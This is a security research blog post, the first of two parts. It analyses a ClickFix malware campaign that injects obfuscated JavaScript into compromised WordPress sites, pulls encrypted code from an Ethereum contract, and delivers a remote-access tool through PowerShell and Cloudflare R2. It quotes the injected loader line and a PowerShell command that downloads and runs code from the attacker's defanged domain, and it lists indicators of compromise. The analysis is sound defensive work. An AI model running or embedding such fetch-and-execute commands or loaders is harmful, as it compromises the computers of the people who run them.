Skip to Content

From Compromised WordPress Sites to Blockchain-Backed Malware

(Part 1)
12 August 2026 by
From Compromised WordPress Sites to Blockchain-Backed Malware
John Fitzpatrick

From Compromised WordPress Sites to Blockchain-Backed Malware

We recently came across a ClickFix campaign operating across a very large number of apparently legitimate websites.

At first glance there was little connecting the affected sites. They belonged to unrelated organisations, served unrelated content and appeared to be genuine websites rather than infrastructure created by an attacker.

The common factor was WordPress.

Injected into the HTML of the affected sites was a heavily obfuscated block of JavaScript. Once executed in a visitor's browser, that JavaScript ultimately presented a familiar ClickFix-style verification flow and attempted to persuade the user to execute a PowerShell command.

Clickfix page showing a fake Cloudflare CAPTCHA and asking the user to run commands and hit verify.

ClickFix has become an increasingly common mechanism for turning a web compromise into endpoint compromise, so that in itself is not uncommon. What made this campaign more interesting was what happened behind the scenes.

The JavaScript did not contain the next stage directly. Instead, it retrieved encrypted code from an Ethereum smart contract. The PowerShell stages used per-site randomised subdomains before ultimately downloading an executable hosted in Cloudflare R2.

The RAT delivered to the user also used a separate Ethereum contract to retrieve its command-and-control server.

The compromised websites

On an affected WordPress site we found an additional script immediately inside the HTML <head>:

<script>
[].constructor.constructor(atob("..."))();
</script>

The Base64 content expands into heavily obfuscated JavaScript.

Importantly, the remainder of the website was entirely legitimate. The malicious code was injected into an otherwise normal WordPress page rather than being hosted on an attacker-controlled phishing site. Most of the compromised sites identified were found to be running WordPress 7.0.2 and 7.0.3.

This is valuable to the attacker for obvious reasons. The user arrives at a real website with an established history, valid TLS certificate, probably a good domain reputation and possibly even a site they are familiar with and have visited before. Traditional controls built around blocking newly registered or obviously malicious web domains are likely to be ineffective as a result.

We have not yet established how the WordPress sites were initially compromised.

There is an obvious candidate worth investigating. On 17 July 2026 WordPress released version 7.0.2 to address a critical vulnerability chain involving REST API route confusion and SQL injection which could lead to remote code execution. The issue was sufficiently severe that WordPress enabled forced automatic updates, and exploitation was subsequently observed in the wild.

The timing is therefore interesting, although it would suggest that these sites have been patched post compromise. The sites could equally have been compromised through vulnerable plugins, stolen credentials, earlier compromise or another mechanism entirely.

EtherHiding in the browser

Once deobsfuscated, the injected JavaScript reveals an EtherHiding-style mechanism.

Rather than hardcoding the malicious JavaScript it wants to execute, the loader performs an Ethereum JSON-RPC eth_call against the Sepolia network.

The contract observed in this campaign was:

0x0321C73150543FAa9D016c9c46Abf293Eb6839e4

using function selector:

0x3bc5de30

We observed the call being made through multiple public Sepolia RPC providers, including Tenderly and PublicNode. A captured request looked like:

{
 "jsonrpc": "2.0",
 "id": 1,
 "method": "eth_call",
 "params": [
  {
     "to": "0x0321C73150543FAa9D016c9c46Abf293Eb6839e4",
     "data": "0x3bc5de30"
  },
   "latest"
]
}

The response contains an ABI-encoded byte array rather than readable JavaScript.

The browser-side loader:

  1. extracts the returned byte array;

  2. derives an AES key using SHA-256;

  3. uses AES-GCM to decrypt the content;

  4. decompresses the result with gzip;

  5. caches the resulting JavaScript locally for a limited period; and

  6. executes it dynamically in the browser.

This separation is useful to the attacker as someone inspecting the compromised website does not necessarily recover the active ClickFix payload simply by downloading its HTML. The meaningful second stage lives somewhere else and can be changed without modifying every compromised site.

That is the basic idea behind EtherHiding: the blockchain state becomes part of the attacker's configuration and delivery infrastructure.

The PowerShell

When the ClickFix interaction succeeds, the victim is encouraged to execute a command structurally similar to:

powershell -c "iex(irm xjikssfkshnml.karburatorotzhigi[.]com/s/psc4/pr?cl -UseBasicParsing)"

We observed multiple hostnames (we believe these are unique per compromised site):

giysqtqmxwvdb.karburatorotzhigi[.]com
xjikssfkshnml.karburatorotzhigi[.]com
ipiopstmywhno.karburatorotzhigi[.]com
plvuajnvxgqjr.karburatorotzhigi[.]com

The left-hand label changes between compromised websites while retaining a consistent random-looking pattern.

The parent domain:

karburatorotzhigi[.]com

was only registered on 5 August 2026 and was using Cloudflare nameservers at the time of our investigation.

The first PowerShell response launches another PowerShell process hidden from the user and retrieves the next stage.

That second stage takes several steps to reduce visibility. It hides its console window, suppresses progress output and queries a /d/cani endpoint on the campaign hostname. It only continues if the response is true, giving the operator a simple server-side gate over whether the malware is delivered.

Cloudflare R2 as the malware host

The actual executable was delivered from a Cloudflare R2 public bucket:

pub-b7e3d7ad9f6e4b08a24cde45feeb417e.r2[.]dev

with the object:

IntelSoftwareUpdaterV8.exe

The PowerShell stage downloads the executable into the user's temporary directory, attempts to remove Windows' Mark-of-the-Web metadata, and starts it with its window hidden.

The sample we recovered has SHA-256:

d4ec082b2b2112796bc5dc94835cad9536762da738ba3a2af638efa6d2f76b49

At this stage the chain looks roughly like this:

Compromised WordPress site
      |
Injected obfuscated JavaScript
      |
Sepolia smart contract
      |
AES-GCM encrypted/gzipped JavaScript
      |
ClickFix interaction
      |
PowerShell
      |
random-subdomain.karburatorotzhigi.com
      |
Cloudflare R2
      |
IntelSoftwareUpdaterV8.exe

There are several layers here, none of them on their own is particularly exotic, but the combination is quite interesting.

The attacker gains reputation from legitimate compromised websites, configuration agility from Ethereum, disposable web infrastructure through randomised hostnames, and inexpensive malware distribution through object storage.

Taking down any one compromised WordPress site barely affects the operation.

Blocking one of the generated hostnames has little value if another is immediately used.

And removing a value from the compromised site's JavaScript does not necessarily remove the payload because some of the attack logic lives on-chain.

Analysing the Payload

Initially we expected IntelSoftwareUpdaterV8.exe to be a conventional loader or information stealer. It wasn't....

The executable is an Inno Setup package containing an embedded Python 3.11 environment and a Python payload masquerading beneath a Microsoft-looking directory structure.

Once we unpacked and decrypted that Python code, we found a capable remote-access implant. More interestingly, it used Ethereum again.

This time the blockchain was not being used to deliver ClickFix JavaScript. It was being used to locate the malware's command-and-control server.

And once that server had been discovered, the RAT communicated with it using a DNS protocol designed to look, superficially, like traffic for microsoft.com.

That investigation is the subject of part 2 which you can read here.

Continue to part 2


From Compromised WordPress Sites to Blockchain-Backed Malware
John Fitzpatrick 12 August 2026
Share this post
Tags
Archive
IPv6 Trends in User Account Compromises